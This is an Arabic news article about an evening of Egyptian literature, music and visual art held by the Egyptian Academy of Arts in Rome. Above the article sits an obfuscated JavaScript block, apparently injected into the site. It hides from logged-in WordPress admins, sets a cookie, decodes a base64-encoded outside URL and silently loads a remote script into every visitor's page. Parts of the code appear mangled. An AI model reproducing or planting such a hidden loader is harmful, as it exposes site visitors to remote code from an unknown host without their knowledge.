(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9+/=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();;
الأدب والموسيقى والفن التشكيلي يلتقون في أمسية مصرية مبهرة بروما
[acf_content_blocks]
نظّمت الأكاديمية المصرية للفنون بروما، برئاسة الأستاذة الدكتورة رانيا يحيى، أمسية ثقافية وفنية متميزة تحت عنوان «الأدب المصري بين الماضي والحاضر»، جمعت بين الإبداع الأدبي والموسيقي والفني في سهرة واحدة لاقت استحسان جمهور كبير من المثقفين والفنانين المصريين والإيطاليين.
وشارك في الندوة نخبة من رموز الأدب والفكر، حيث تحدثت الكاتبة والإعلامية والروائية الدكتورة صفاء النجار عن تحولات السرد الأدبي المصري وأثره في الإقليم والعالم، وقدمت للحضور لمحات من أعمالها الأدبية لتعريف الجمهور الغربي بالأدب المصري المعاصر.
فيما استعرضت الكاتبة الصحفية والروائية نوال مصطفى بانوراما لتاريخ الأدب المصري، متوقفة عند إسهامات الرواد الأوائل وأثرهم الممتد حتى اليوم.
وقدمت المترجمة وأستاذة النقد الأدبي الدكتورة وفاء البيه قراءة تحليلية لتطور النقد الأدبي في مصر من عصر العقاد وطه حسين إلى الأصوات النقدية النسائية المعاصرة، بأسلوب شيق نال إعجاب الحضور. كما شهدت الأمسية تدشين كتاب «الأدب المصري بين الماضي والحاضر»، الذي أصدرته الأكاديمية على هامش الفعالية توثيقًا وتقديرًا للرموز الأدبية المصرية.
وعلى هامش الندوة افتتحت الدكتورة رانيا يحيى معرضًا للفن التشكيلي للفنانة الدكتورة ماجدة سعد الدين بعنوان «من وحي إفريقيا»، حيث قدّمت الفنانة مجموعة من لوحاتها المستلهمة من أسفارها في القارة السمراء، وعبر الحضور عن إعجابهم بجماليات المعرض وما حمله من رؤى إبداعية وهوية أصيلة.
واختتمت الأمسية بعرض موسيقي بديع جمع لأول مرة بين عازفة الهارب العالمية منال محيي الدين والفنان الشاب سيف الدين شريف، ابن شقيقها، على آلة البيانو، في دويتو موسيقي امتزجت فيه أنغام الشرق والغرب بتناغم أبهر الحضور.
وفي كلمتها الترحيبية، أكدت الدكتورة رانيا يحيى أن هذه الفعالية تأتي في إطار جهود الأكاديمية المستمرة لتعزيز الحضور الثقافي المصري في أوروبا وفتح نوافذ الحوار بين الماضي والحاضر، مؤكدة أن تكامل الفنون الثلاثة في أمسية واحدة يعكس ثراء الثقافة المصرية وعمق تأثيرها في المشهد الثقافي الدولي.
شهدت الأمسية حضورًا لافتًا من المثقفين والفنانين والمهتمين بالأدب والفنون في إيطاليا، في ليلة مصرية عبّرت عن الهوية وأكدت دور الإبداع المصري كجسر تواصل بين الحضارات.
[acf_post_footer]
